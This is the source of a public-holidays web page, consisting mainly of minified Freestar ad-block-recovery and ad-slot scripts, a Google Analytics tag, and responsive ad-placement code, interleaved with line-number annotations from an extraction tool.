101s=t.paragraphTwo,l=t.paragraphThree,d=t.closeText,u=t.linkText,f=t.linkUrl,p=t.textColor,h=t.headerTextColor,v=t.buttonTextColor,m=t.headerBgColor,y=t.bgColor,g=t.buttonBgColor,b=t.borderColor,x=t.borderWidth,w=t.borderRadius,k=t.closeButtonColor,L=t.closeTextColor,E=t.linkTextColor,C=t.linkTextDecoration,S=t.linkVisitedTextColor,A=t.hasFsBranding,I=t.disableInstructions,P=document.createElement("div");P.style.setProperty("--me7zje",g||"#40C28A"),P.style.setProperty("--_1es64bu",v||"#000000"),P.style.setProperty("--_1vcjqx8",this.pickContrastingColorValue(y||"#FFFFFF","white","black")),E&&P.style.setProperty("--_1h8hdqe",E),S&&P.style.setProperty("--m19f8t",S),C&&P.style.setProperty("--_1wo6gz5",C),P.classList.add("_1x7oe5p"),P.id="_2o8yog",P.dir="auto",this.oid=P.id;var Y=document.createElement("div");Y.classList.add("_1tkdorm"),y&&(Y.style.backgroundColor=y),c&&(Y.style.fontFamily=c),p&&(Y.style.color=p);var _=this.getPixelString(w),T=this.getPixelString(x);_&&(Y.style.borderRadius=_),(b||T)&&(Y.style.borderStyle="solid"),b&&(Y.style.borderColor=b),T&&(Y.style.borderWidth=T);var O=document.createElement("header");if(h&&(O.style.color=h),m){O.style.backgroundColor=m;var z=_||"1em";O.style.borderTopLeftRadius=z,O.style.borderTopRightRadius=z}if(a){var j=document.createElement("img");j.src=a,j.alt="Logo",j.onerror=function(){this.style.display="none"},O.appendChild(j)}var H=document.createElement("h2");H.textContent=this.getLocalizedTextContent(t,"title"),O.appendChild(H);var U=document.createElement("section");U.classList.add("ndfh07");var R=document.createElement("p");if(R.textContent=this.getLocalizedTextContent(t,"paragraphOne"),U.appendChild(R),s&&0!==Object.keys(s).length){var F=document.createElement("p");F.textContent=this.getLocalizedTextContent(t,"paragraphTwo"),U.appendChild(F)}if(l&&0!==Object.keys(l).length){var B=document.createElement("p");B.textContent=this.getLocalizedTextContent(t,"paragraphThree"),U.appendChild(B)}var V=u&&this.getLocalizedTextContent(t,"linkText"),q=f&&this.getLocalizedTextContent(t,"linkUrl",!0);if(V&&q){var G=document.createElement("div");G.style.margin="0 0 1em";var N=document.createElement("a");N.classList.add("q769eo"),E&&N.classList.add("_1h8hdqe"),S&&N.classList.add("m19f8t"),C&&N.classList.add("_1wo6gz5"),N.textContent=V,N.href=q,N.target="_blank",G.appendChild(N),U.appendChild(G)}var Q=document.createElement("button");if(Q.classList.add("_1kssuc"),Q.tabIndex=0,Q.textContent=this.getLocalizedTextContent(t,"buttonText"),g&&(Q.style.backgroundColor=g),v&&(Q.style.color=v),Q.onclick=function(){document.querySelector("section.ndfh07").classList.add("gez19w"),document.querySelector("section._1lq9b0z").classList.remove("gez19w")},U.appendChild(Q),r){var D=function(){P.remove(),e.reviveScroll(),o||i?(sessionStorage.removeItem("fs.adb".concat(n||"",".dis")),i?e.updateValues("p"):o&&e.updateValues("dt")):sessionStorage.setItem("fs.adb".concat(n||"",".dis"),"1")},M=document.createElement("span");if(M.classList.add("zw3zih"),M.innerHTML="&times;",M.tabIndex=0,k&&(M.style.color=k),M.addEventListener("click",D),O.appendChild(M),d&&0!==Object.keys(d).length){var W=document.createElement("div");W.classList.add("_147ewri");var J=document.createElement("p");J.classList.add("_1ehkt64"),J.textContent=this.getLocalizedTextContent(t,"closeText"),L&&(J.style.color=L),J.addEventListener("click",D),W.appendChild(J),U.appendChild(W)}}var Z=document.createElement("section");Z.classList.add("_1lq9b0z","gez19w");var X=document.createElement("h4");X.classList.add("kt6pt5"),X.textContent=this.getLocalizedTextContent(t,"instructionsTitle");var K=document.createElement("div");K.classList.add("_15c9yzc");var $=document.createElement("ul");$.classList.add("snp44k");var tt=document.createElement("div");tt.classList.add("m9fhjc"),I.forEach((function(t,n){var r=document.createElement("li");r.onclick=function(){return function(t){for(var e=document.querySelectorAll(".snp44k > li"),n=document.getElementsByClassName("_1v529iy"),r=0;r<n.length;r++)e[r].classList.remove("plelsp"),n[r].classList.remove("plelsp");e[t].classList.add("plelsp"),n[t].classList.add("plelsp")}
101(n)},r.textContent=e.getLocalizedTextContent(t,"name",!0),$.appendChild(r);var o=document.createElement("ol");o.classList.add("_1v529iy"),0===n&&(r.classList.add("plelsp"),o.classList.add("plelsp")),e.getLocalizedTextContent(t,"steps").forEach((function(t){var e=document.createElement("li");e.textContent=t,o.appendChild(e)})),tt.appendChild(o)}));var et=this.getLocalizedTextContent(t,"disclaimerText"),nt=document.createElement("p");nt.textContent=et,tt.appendChild(nt),K.appendChild($),K.appendChild(tt);var rt=document.createElement("button");if(rt.classList.add("_1kssuc","s4mudg"),rt.textContent=this.getLocalizedTextContent(t,"backButtonText"),g&&(rt.style.backgroundColor=g),v&&(rt.style.color=v),rt.onclick=function(){document.querySelector("section._1lq9b0z").classList.add("gez19w"),document.querySelector("section.ndfh07").classList.remove("gez19w")},Z.appendChild(X),Z.appendChild(K),Z.appendChild(rt),Y.appendChild(O),Y.appendChild(U),Y.appendChild(Z),A){var ot=document.createElement("a");ot.classList.add("_1h94ia9"),ot.href=atob("aHR0cHM6Ly9mcmVlc3Rhci5jb20vYWQtcHJvZHVjdHMvZGVza3RvcC1tb2JpbGUvZnJlZXN0YXItcmVjb3ZlcmVk"),ot.target="_blank";var it=document.createElement("img");it.alt="Logo",it.src=this.pickContrastingColorValue(y||"#FFFFFF","data:image/png;base64,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","data:image/png;base64,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"),ot.appendChild(it),Y.appendChild(ot)}return P.appendChild(Y),P}},{key:"getAndSetOverlay",value:(o=_(P().mark((function t(e){var n,r,o,i;return P().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(this.post(!0,e),e.dismissDuration||e.dismissDurationPv||"1"!==sessionStorage.getItem("fs.adb".concat(e.siteId||"",".dis"))){t.next=3;break}return t.abrupt("return");case 3:if(n=localStorage.getItem("fs.adb"),r=n&&JSON.parse(n),!e.dismissDurationPv||!r.p||"number"!=typeof r.p){t.next=14;break}if(!(e.dismissDurationPv<=r.p+1)){t.next=10;break}this.clearValue("p"),t.next=12;break;case 10:return this.updateValues("p"),t.abrupt("return");case 12:t.next=15;break;case 14:this.clearValue("p");case 15:if(o=parseInt(r.dt,10),!e.dismissDuration||!o){t.next=25;break}if(!(Math.abs((Date.now()-o)/36e5)<e.dismissDuration)){t.next=22;break}return t.abrupt("return");case 22:this.clearValue("dt");case 23:t.next=26;break;case 25:this.clearValue("dt");case 26:if(document.body){t.next=29;break}return t.next=29,new Promise((function(t){return document.addEventListener("DOMContentLoaded",t)}));case 29:if(this.killScroll(e),null===document.querySelector("#".concat(this.oid))){t.next=32;break}return t.abrupt("return");case 32:i=this.generateOverlay(e),document.body.appendChild(i);case 34:case"end":return t.stop()}}),t,this)}))),function(t){return o.apply(this,arguments)})},{key:"getStatus",value:function(t,e){return!0===e?1:2===t||1===t?2:0}},{key:"getAndSetData",value:function(t){var e,n,r,o=localStorage.getItem("fs.adb"),i=o&&JSON.parse(o),a=Date.now();return i?(e=i.i,n=i.ot,r=this.getStatus(i.s,t)):(i={},e=c(),n=a,r=t?1:0),i.i=e,i.s=r,i.ot=n,i.lt=a,localStorage.setItem("fs.adb",JSON.stringify(i)),i}},{key:"updateValues",value:function(t){var e=localStorage.getItem("fs.adb"),n=e&&JSON.parse(e);"p"===t?(n.p=n.p?n.p+1:1,n.dt&&delete n.dt):"dt"===t&&(n.dt=Date.now(),n.p&&delete n.p),localStorage.setItem("fs.adb",JSON.stringify(n))}},{key:"clearValue",value:function(t){var e=localStorage.getItem("fs.adb"),n=e&&JSON.parse(e);n[t]&&(delete n[t],localStorage.setItem("fs.adb",JSON.stringify(n)))}},{key:"post",value:function(t,e){var n=atob("c2l0ZS1jb25maWcuY29t"),r=e.cDomain||n,o="https://".concat(r,"/v2/abr"),i=this.getAndSetData(t),a=e.accountId,c=e.siteId,s=navigator.userAgent||window.navigator.userAgent,l=document.referrer,d=window.location,u={accountId:a,siteId:c,userId:i.i,url:d.href,referalURL:l,userAgent:s,status:function(t){switch(t){case 0:return"not detected";case 1:return"detected";case 2:return"recovered";default:return}}(i.s),returning:i.ot!==i.lt,version:"1.3.4"};fetch(o,{method:"POST",headers:{"Content-Type":"application/json","X-Client-Geo-Location":"{client_region},{client_region_subdivision},{client_city}"},body:JSON.stringify(u)}).catch((function(){}))}},{key:"observe",value:function(){var t=this,e="";new MutationObserver((function(){location.pathname!==e&&(e=location.pathname,t.run())})).observe(document,{subtree:!0,childList:!0})}},{key:"run",value:function(){var t=this,e=this.config;setTimeout(_(P().mark((function n(){return P().wrap((function(n){for(;;)switch(n.prev=n.next){case 0:return n.next=2,S().then((function(){return A(atob("aHR0cHM6Ly9hLnB1Yi5uZXR3b3JrL2NvcmUvcHJlYmlkLXVuaXZlcnNhbC1jcmVhdGl2ZS5qcw=="))})).then((function(){return A(atob("aHR0cHM6Ly93d3cuZ29vZ2xldGFnc2VydmljZXMuY29tL3RhZy9qcy9ncHQuanM="))})).then((function(){t.post(!1,e)})).catch((function(n){n!==C&&(null==n?void 0:n.message)!==C||t.getAndSetOverlay(e)}));case 2:case"end":return n.stop()}}),n)}))),500)}}],n&&T(e.prototype,n),r&&T(e,r),Object.defineProperty(e,"prototype",{writable:!1}),t}();window.fsabrActive=!0,new O(window.navigator).init()})()})();
102</script>
102
103
104<script data-cfasync="false" type="text/javascript">
105  var freestar = freestar || {};
106  freestar.queue = freestar.queue || [];
107  freestar.config = freestar.config || {};
108  freestar.config.enabled_slots = [];
109  freestar.initCallback = function () { (freestar.config.enabled_slots.length === 0) ? freestar.initCallbackCalled = false : freestar.newAdSlots(freestar.config.enabled_slots) }
110</script>
vendor: 1 bytes, line 110
110
111<script src="https://a.pub.network/publicholidays-jp/pubfig.min.js" data-cfasync="false" async></script>
111
112
113<!-- Global site tag (gtag.js) - Google Analytics -->
vendor: 64 bytes, lines 113-114
113
114<script async src="https://www.googletagmanager.com/gtag/js?id=
114G-XN5XHBQGTF
vendor: 12 bytes, line 114
114"></script>
115<script>
116  
vendor: 134 bytes, lines 116-120
116window.dataLayer = window.dataLayer || [];
117  function gtag(){dataLayer.push(arguments);}
118  gtag('js', new Date());
119
120  gtag('config', '
120G-XN5XHBQGTF
vendor: 4 bytes, line 120
120');
121</script>
121    <style id="phg-hero-overlay-colour-inline-css">
122
123    header.main-page-header { position: relative; }
124    header.main-page-header::before { background-color: rgba(0, 0, 0, 0.6); content: ' '; width: 100%; height: 100%; position: absolute; }
125    
126/*# sourceURL=phg-hero-overlay-colour-inline-css */
127</style>
128
129</head>
130<body class="wp-singular page-template page-template-template-new page-template-template-new-php page page-id-2758 wp-theme-bb-phg">
131	<!-- AD PLACEMENT --> 
132    <style>
133        #phgviewportconditional_32910 {
134            min-height: calc(0px + 0px);
135            min-width: 100vw;
136            overflow-y: auto;
137            overflow-x: hidden;
138        }
139        @media screen and (min-width: 640px) {
140            #phgviewportconditional_32910 {
141                min-height: calc(130px + 0px);
142                min-width: auto;
143            }
144        }
145        @media screen and (min-width: 1024px) {
146            #phgviewportconditional_32910 {
147                min-height: calc(130px + 0px);
148                min-width: auto;
149            }
150        }
151        @media screen and (min-width: 1440px) {
152            #phgviewportconditional_32910 {
153                min-height: calc(130px + 0px);
154                min-width: auto;
155            }
156        }
157        @media screen and (min-width: 1920px) {
158            #phgviewportconditional_32910 {
159                min-height: calc(130px + 0px);
160                min-width: auto;
161            }
162        }
163    </style>
164    <div id="phgviewportconditional_32910" class="phgviewportconditional"></div>
165    
165<script type="text/javascript"> 
166        jQuery(document).ready(function() {
167            var w = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);
168            var viewport = "small";
169            if(w >= 1920) {
170                viewport = "xxlarge";
171            } else if(w >= 1440) {
172                viewport = "xlarge";
173            } else if(w >= 1024) {
174                viewport = "large";
175            } else if(w >= 640) {
176                viewport = "medium";
177            }
178
179            if ( viewport !== "medium"  &&  viewport !== "large"  &&  viewport !== "xlarge"  &&  viewport !== "xxlarge" ) {
180                document.getElementById("phgviewportconditional_32910").innerHTML = " ";
181                if(document.getElementById("phgviewportconditional_32910").parentElement.parentElement.tagName == "TR") { document.getElementById("phgviewportconditional_32910").parentElement.parentElement.style.display = "none"; }
182            } else {
183                document.getElementById("phgviewportconditional_32910").innerHTML = "<div data-sticky-height=\"190\" style=\"background-color:#f7f7f7;\" id=\"phg-ad-leaderboard-top-desktop\" class=\"sticky-ad-unit phg-ad\"><aside>Advertisement<\/aside><div style=\"background-color:#f7f7f7;\" align=\"center\" data-freestar-ad=\"__320x50 __970x90\" id=\"publicholidays.jp_Leaderboard_Top\">\r\n  
183<script data-cfasync=\"false\" type=\"text\/javascript\">\r\n    freestar.config.enabled_slots.push({ placementName: \"publicholidays.jp_Leaderboard_Top\", slotId: \"publicholidays.jp_Leaderboard_Top\" });\r\n  <\/script>\r\n<\/div><\/div>";
184                
185            }
186
187            var arr = document.getElementById("phgviewportconditional_32910").getElementsByTagName("script");
188            for (var n = 0; n < arr.length; n++) {
189                eval(arr[n].innerHTML);
190            }
191        });
192     </script>
192<!-- AD PLACEMENT --> 
193    <style>
194        #phgviewportconditional_23891 {
195            min-height: calc(70px + 0px);
196            min-width: 100vw;
197            overflow-y: auto;
198            overflow-x: hidden;
199        }
200        @media screen and (min-width: 640px) {
201            #phgviewportconditional_23891 {
202                min-height: calc(0px + 0px);
203                min-width: auto;
204            }
205        }
206        @media screen and (min-width: 1024px) {
207            #phgviewportconditional_23891 {
208                min-height: calc(0px + 0px);
209                min-width: auto;
210            }
211        }
212        @media screen and (min-width: 1440px) {
213            #phgviewportconditional_23891 {
214                min-height: calc(0px + 0px);
215                min-width: auto;
216            }
217        }
218        @media screen and (min-width: 1920px) {
219            #phgviewportconditional_23891 {
220                min-height: calc(0px + 0px);
221                min-width: auto;
222            }
223        }
224    </style>
225    <div id="phgviewportconditional_23891" class="phgviewportconditional"></div>
226    
226<script type="text/javascript"> 
227        jQuery(document).ready(function() {
228            var w = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);
229            var viewport = "small";
230            if(w >= 1920) {
231                viewport = "xxlarge";
232            } else if(w >= 1440) {
233                viewport = "xlarge";
234            } else if(w >= 1024) {
235                viewport = "large";
236            } else if(w >= 640) {
237                viewport = "medium";
238            }
239
240            if ( viewport !== "medium"  &&  viewport !== "large"  &&  viewport !== "xlarge"  &&  viewport !== "xxlarge" ) {
241                document.getElementById("phgviewportconditional_23891").innerHTML = "<div data-sticky-height=\"150\" style=\"background-color:#f7f7f7;\" id=\"phg-ad-leaderboard-top-mobile\" class=\"sticky-ad-unit phg-ad\"><div style=\"background-color:#f7f7f7;\" align=\"center\" data-freestar-ad=\"__320x50 __970x90\" id=\"publicholidays.jp_Leaderboard_Top\">\r\n  
241<script data-cfasync=\"false\" type=\"text\/javascript\">\r\n    freestar.config.enabled_slots.push({ placementName: \"publicholidays.jp_Leaderboard_Top\", slotId: \"publicholidays.jp_Leaderboard_Top\" });\r\n  <\/script>\r\n<\/div><\/div>";
242                
243            } else {
244                document.getElementById("phgviewportconditional_23891").innerHTML = " ";
